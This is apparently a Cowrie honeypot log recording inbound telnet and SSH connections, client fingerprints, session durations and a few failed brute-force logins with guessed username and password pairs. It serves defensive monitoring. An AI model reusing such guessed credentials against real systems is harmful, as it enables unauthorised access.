{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":36606,"dst_ip":"10.17.0.5","dst_port":23,"session":"df53ec46f822","protocol":"telnet","message":"New connection: 162.253.42.116:36606 (10.17.0.5:23) [session: df53ec46f822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:44.202520Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":46452,"dst_ip":"159.203.135.109","dst_port":23,"session":"20ed6ade355b","protocol":"telnet","message":"New connection: 103.137.231.186:46452 (159.203.135.109:23) [session: 20ed6ade355b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:45.303654Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":46440,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ac2601a360","protocol":"telnet","message":"New connection: 103.137.231.186:46440 (159.203.135.109:23) [session: 55ac2601a360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:46.009210Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51326,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebb6cab8e8f6","protocol":"ssh","message":"New connection: 159.203.92.129:51326 (159.203.135.109:22) [session: ebb6cab8e8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:47.910079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:47.913176Z","src_ip":"159.203.92.129","session":"ebb6cab8e8f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:47.916224Z","src_ip":"159.203.92.129","session":"ebb6cab8e8f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amandabackup","password":"111111","message":"login attempt [amandabackup/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:47.924318Z","src_ip":"159.203.92.129","session":"ebb6cab8e8f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.423741817474365,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:48.853465Z","src_ip":"159.203.13.64","session":"5b8c63d97fd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:48.933369Z","src_ip":"159.203.92.129","session":"ebb6cab8e8f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.771210432052612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:50.503247Z","src_ip":"103.137.231.186","session":"2e0bc85c763c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43986,"dst_ip":"10.17.0.5","dst_port":23,"session":"84a678bfbf5a","protocol":"telnet","message":"New connection: 162.253.42.116:43986 (10.17.0.5:23) [session: 84a678bfbf5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:50.708756Z"}
{"eventid":"cowrie.session.closed","duration":31.340326070785522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:21:58.198303Z","src_ip":"103.137.231.186","session":"ca5ba24517d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":53016,"dst_ip":"159.203.135.109","dst_port":22,"session":"15fdbb7c53e5","protocol":"ssh","message":"New connection: 194.59.206.2:53016 (159.203.135.109:22) [session: 15fdbb7c53e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:06.059705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:06.073176Z","src_ip":"194.59.206.2","session":"15fdbb7c53e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:06.147582Z","src_ip":"194.59.206.2","session":"15fdbb7c53e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:06.315177Z","src_ip":"194.59.206.2","session":"15fdbb7c53e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":49156,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ad869c2f599","protocol":"telnet","message":"New connection: 208.82.116.131:49156 (159.203.135.109:23) [session: 0ad869c2f599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:07.924950Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":49224,"dst_ip":"159.203.135.109","dst_port":23,"session":"73bdf497abe0","protocol":"telnet","message":"New connection: 208.82.116.131:49224 (159.203.135.109:23) [session: 73bdf497abe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:08.056324Z"}
{"eventid":"cowrie.session.closed","duration":30.757143020629883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:08.328764Z","src_ip":"103.137.231.186","session":"7145f3a83589","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.039509534835815,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:08.979836Z","src_ip":"208.82.116.131","session":"d7e1023a6382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44896,"dst_ip":"10.17.0.5","dst_port":23,"session":"24094a74719e","protocol":"telnet","message":"New connection: 159.203.13.64:44896 (10.17.0.5:23) [session: 24094a74719e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:09.613832Z"}
{"eventid":"cowrie.session.closed","duration":30.8909113407135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:16.194226Z","src_ip":"103.137.231.186","session":"20ed6ade355b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15489435195923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:17.163962Z","src_ip":"103.137.231.186","session":"55ac2601a360","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.73630905151367,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:19.938731Z","src_ip":"162.253.42.116","session":"df53ec46f822","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.60721755027771,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:25.315881Z","src_ip":"162.253.42.116","session":"84a678bfbf5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":45838,"dst_ip":"159.203.135.109","dst_port":23,"session":"50c2d63d9ba7","protocol":"telnet","message":"New connection: 104.248.46.74:45838 (159.203.135.109:23) [session: 50c2d63d9ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:25.520082Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":53430,"dst_ip":"10.17.0.5","dst_port":23,"session":"43927b798860","protocol":"telnet","message":"New connection: 159.203.13.64:53430 (10.17.0.5:23) [session: 43927b798860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:25.699216Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":57790,"dst_ip":"10.17.0.5","dst_port":23,"session":"7147b67cca37","protocol":"telnet","message":"New connection: 162.253.42.116:57790 (10.17.0.5:23) [session: 7147b67cca37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:26.386311Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":51482,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fdd340dad0c","protocol":"telnet","message":"New connection: 174.136.57.21:51482 (10.17.0.5:23) [session: 4fdd340dad0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:29.544399Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":53970,"dst_ip":"159.203.135.109","dst_port":22,"session":"88a1693c69d2","protocol":"ssh","message":"New connection: 103.215.80.173:53970 (159.203.135.109:22) [session: 88a1693c69d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:31.632294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:31.636383Z","src_ip":"103.215.80.173","session":"88a1693c69d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:31.844138Z","src_ip":"103.215.80.173","session":"88a1693c69d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshuser","password":"qwerty","message":"login attempt [sshuser/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:32.712918Z","src_ip":"103.215.80.173","session":"88a1693c69d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36620,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4be6d54fe36","protocol":"ssh","message":"New connection: 159.203.92.129:36620 (159.203.135.109:22) [session: f4be6d54fe36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:32.970418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:32.974668Z","src_ip":"159.203.92.129","session":"f4be6d54fe36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:32.978493Z","src_ip":"159.203.92.129","session":"f4be6d54fe36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amandabackup","password":"123","message":"login attempt [amandabackup/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:32.988170Z","src_ip":"159.203.92.129","session":"f4be6d54fe36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":57750,"dst_ip":"159.203.135.109","dst_port":23,"session":"1401cc03c4f1","protocol":"telnet","message":"New connection: 208.82.116.131:57750 (159.203.135.109:23) [session: 1401cc03c4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:33.264306Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:33.924331Z","src_ip":"103.215.80.173","session":"88a1693c69d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:33.994757Z","src_ip":"159.203.92.129","session":"f4be6d54fe36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.383894681930542,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:38.648046Z","src_ip":"208.82.116.131","session":"1401cc03c4f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":33080,"dst_ip":"159.203.135.109","dst_port":23,"session":"1431520b2792","protocol":"telnet","message":"New connection: 208.82.116.131:33080 (159.203.135.109:23) [session: 1431520b2792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:42.885405Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":33084,"dst_ip":"159.203.135.109","dst_port":23,"session":"7860a6b6e51b","protocol":"telnet","message":"New connection: 208.82.116.131:33084 (159.203.135.109:23) [session: 7860a6b6e51b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:42.892367Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50252,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f30ae799417","protocol":"telnet","message":"New connection: 159.203.13.64:50252 (10.17.0.5:23) [session: 9f30ae799417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:47.704964Z"}
{"eventid":"cowrie.session.closed","duration":38.9289767742157,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:48.542694Z","src_ip":"159.203.13.64","session":"24094a74719e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":47738,"dst_ip":"10.17.0.5","dst_port":23,"session":"a40d8f9e4df5","protocol":"telnet","message":"New connection: 174.136.57.21:47738 (10.17.0.5:23) [session: a40d8f9e4df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:49.328218Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":47934,"dst_ip":"10.17.0.5","dst_port":23,"session":"dab7227eaa33","protocol":"telnet","message":"New connection: 174.136.57.21:47934 (10.17.0.5:23) [session: dab7227eaa33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:49.898243Z"}
{"eventid":"cowrie.session.closed","duration":48.488988161087036,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:56.545206Z","src_ip":"208.82.116.131","session":"73bdf497abe0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.02619004249573,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:56.951027Z","src_ip":"208.82.116.131","session":"0ad869c2f599","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.53368163108826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:22:58.919868Z","src_ip":"162.253.42.116","session":"7147b67cca37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.92011594772339,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:00.440096Z","src_ip":"104.248.46.74","session":"50c2d63d9ba7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.23455214500427,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:00.933640Z","src_ip":"159.203.13.64","session":"43927b798860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.726661682128906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:01.270942Z","src_ip":"174.136.57.21","session":"4fdd340dad0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":41080,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9e88fc2086d","protocol":"telnet","message":"New connection: 174.136.57.21:41080 (10.17.0.5:23) [session: e9e88fc2086d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:01.921047Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43536,"dst_ip":"10.17.0.5","dst_port":23,"session":"0446340f749e","protocol":"telnet","message":"New connection: 159.203.13.64:43536 (10.17.0.5:23) [session: 0446340f749e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:03.107142Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":56616,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbf309405063","protocol":"telnet","message":"New connection: 104.248.46.74:56616 (159.203.135.109:23) [session: fbf309405063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:05.342225Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":43022,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8694650f779","protocol":"telnet","message":"New connection: 208.82.116.131:43022 (159.203.135.109:23) [session: b8694650f779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:11.192266Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":43084,"dst_ip":"159.203.135.109","dst_port":23,"session":"78f71022f3cd","protocol":"telnet","message":"New connection: 208.82.116.131:43084 (159.203.135.109:23) [session: 78f71022f3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:11.315068Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":43124,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9e822bb650d","protocol":"telnet","message":"New connection: 208.82.116.131:43124 (159.203.135.109:23) [session: a9e822bb650d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:23:11.388574Z"}
